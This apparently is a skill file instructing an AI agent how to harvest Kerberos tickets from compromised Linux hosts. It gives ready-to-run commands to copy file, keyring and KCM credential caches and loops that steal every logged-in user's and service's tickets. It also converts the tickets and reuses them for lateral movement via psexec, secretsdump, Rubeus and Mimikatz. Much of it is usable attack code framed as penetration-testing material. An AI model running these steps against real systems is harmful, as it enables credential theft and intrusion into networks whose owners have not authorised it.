Hacktricks-skills linux-kerberos-ticket-harvesting
Harvest Kerberos tickets from Linux systems during post-exploitation. Use this skill whenever you have shell access to a Linux machine and need to extract Kerberos credentials (TGTs, TGS tickets) from file caches, kernel keyrings, KCM, or process memory. Trigger this when the user mentions Kerberos ticket extraction, credential harvesting on Linux, klist, keyctl, ccache extraction, or any scenario where you need to steal or copy Kerberos tickets from a compromised Linux host.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux/SKILL.MDLinux Kerberos Ticket Harvesting
This skill guides you through extracting Kerberos tickets from Linux systems during post-exploitation. Linux stores credentials in three main locations: Files, Kernel Keyrings, and Process Memory.
Quick Start
When you pop a shell on a Linux machine and need Kerberos tickets:
- Enumerate what cache types exist
- Extract using the appropriate method
- Convert to a portable format if needed
- Use the tickets for lateral movement
Step 1: Enumerate Active Caches
Before extraction, identify where credentials are stored. Run these commands to find all cache types:
# Check current user's cache klist -l 2>/dev/null || echo "No klist or no cache" # Check all TGTs in current cache klist -A 2>/dev/null # Check kernel keyrings (requires sudo) sudo keyctl get_persistent @u 2>/dev/null sudo keyctl show $(keyctl get_persistent @u 2>/dev/null) 2>/dev/null # Check file-based caches sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* 2>/dev/null # Check process environments for KRB5CCNAME sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \; 2>/dev/null # Check krb5.conf for default cache type grep -i default_ccache_name /etc/krb5.conf 2>/dev/null
What to look for:
- File-based cache (easiest to steal)FILE:/tmp/krb5cc_%{uid}
- Directory-backed cache (systemd-logind default)DIR:/run/user/%{uid}/krb5cc
orKEYRING:persistent:%{uid}
- Kernel keyring storageKEYRING:session
- SSSD Kerberos Cache ManagerKCM:%{uid}
- Process-local cacheMEMORY:unique_id
Step 2: Extract Based on Cache Type
File/DIR Cache Extraction (Easiest)
When
default_ccache_name shows FILE: or DIR::
# Single file cache sudo cp /tmp/krb5cc_$(id -u) /tmp/stolen.ccache # Directory cache (one file per ticket) sudo cp -r /run/user/$(id -u)/krb5cc /tmp/user_dircc # Set proper permissions chmod 600 /tmp/*.ccache chown $(whoami) /tmp/*.ccache 2>/dev/null || true # Validate the stolen cache KRB5CCNAME=/tmp/stolen.ccache klist
Keyring Extraction
When
default_ccache_name shows KEYRING::
# Get the persistent keyring KRING=$(keyctl get_persistent @u 2>/dev/null) # List all ccache blobs in the keyring keyctl show $KRING # Extract each ccache blob (note the serial numbers from above) keyctl pipe <serial_number> > /tmp/ccache_dump # Validate KRB5CCNAME=/tmp/ccache_dump klist
Important: Check multiple keyring types:
- Persists across loginsKEYRING:persistent:%{uid}
- Cleared on logoutKEYRING:session
- For services with helper threadsKEY_SPEC_THREAD_KEYRING
KCM (SSSD) Cache Extraction
When
default_ccache_name shows KCM::
# List all caches managed by KCM sudo kcm_ctl list # Extract a specific user's cache (UID 1000, cache ID 0) sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache # Validate KRB5CCNAME=/tmp/1000.kcm.ccache klist
Offline KCM extraction (when socket access is blocked):
- Copy
/var/lib/sss/secrets/secrets.ldb - Copy
/var/lib/sss/secrets/.secrets.mkey - Use
or similar tools to decryptSSSDKCMExtractor
Note: KCM extraction typically requires root or membership in the
kcm SELinux domain.
Step 3: Convert to Portable Format
For cross-platform use (especially Windows tooling), convert MIT ccache to
.kirbi format:
# Using kerbtool (recommended) ./kerbtool --convert --in /tmp/stolen.ccache --out stolen.kirbi # Alternative: ticketConverter.py python3 ticketConverter.py /tmp/stolen.ccache stolen.kirbi
Step 4: Use the Tickets
From Linux
# Use with Impacket tools KRB5CCNAME=/tmp/stolen.ccache impacket-psexec user@domain.local KRB5CCNAME=/tmp/stolen.ccache impacket-secretsdump domain/user@domain.local # Request additional TGS tickets KRB5CCNAME=/tmp/stolen.ccache kerbtool --ask --spn cifs/fileserver.domain.local
From Windows
# Using Rubeus Rubeus.exe ptt /ticket:stolen.kirbi # Using Mimikatz mimikatz # kerberos::ptt stolen.kirbi
Helper Scripts
Use the bundled scripts for automated extraction:
# Enumerate all cache locations ./scripts/enumerate_caches.sh # Extract from keyrings (requires sudo) sudo ./scripts/extract_keyring.sh # Convert ccache to kirbi format ./scripts/convert_ticket.sh <input.ccache> <output.kirbi>
Common Scenarios
Scenario 1: Web Server with Kerberos Auth
# Check Apache/httpd process for KRB5CCNAME tr "\0" "\n" < /proc/$(pgrep apache2)/environ | grep KRB5 # Extract the cache it's using cp $(grep KRB5 /proc/$(pgrep apache2)/environ | cut -d= -f2) /tmp/web.ccache
Scenario 2: Multiple Users Logged In
# Find all user caches for uid in $(ls /run/user/ 2>/dev/null); do echo "=== UID $uid ===" ls -la /run/user/$uid/krb5cc* 2>/dev/null sudo cp -r /run/user/$uid/krb5cc /tmp/uid${uid}_ccache 2>/dev/null done
Scenario 3: Service Accounts
# Check common service accounts for svc in sssd_kcm gssproxy sshd; do pid=$(pgrep -x $svc) if [ -n "$pid" ]; then echo "=== $svc (PID $pid) ===" tr "\0" "\n" < /proc/$pid/environ | grep -i krb5 fi done
Troubleshooting
| Issue | Solution |
|---|---|
| Check env var or use to list available caches |
| Need root or CAP_SYS_ADMIN capability |
| KCM socket may be at instead |
on cache files | Use or change ownership with |
| Empty keyring | Check or instead of persistent |
Security Notes
- Keyring extraction requires understanding of kernel keyring internals
- KCM extraction typically requires privilege escalation to root
- File caches are world-readable on some misconfigured systems
- Always validate extracted tickets with
before attempting to use themklist - Ticket expiration matters - check
output for validity timesklist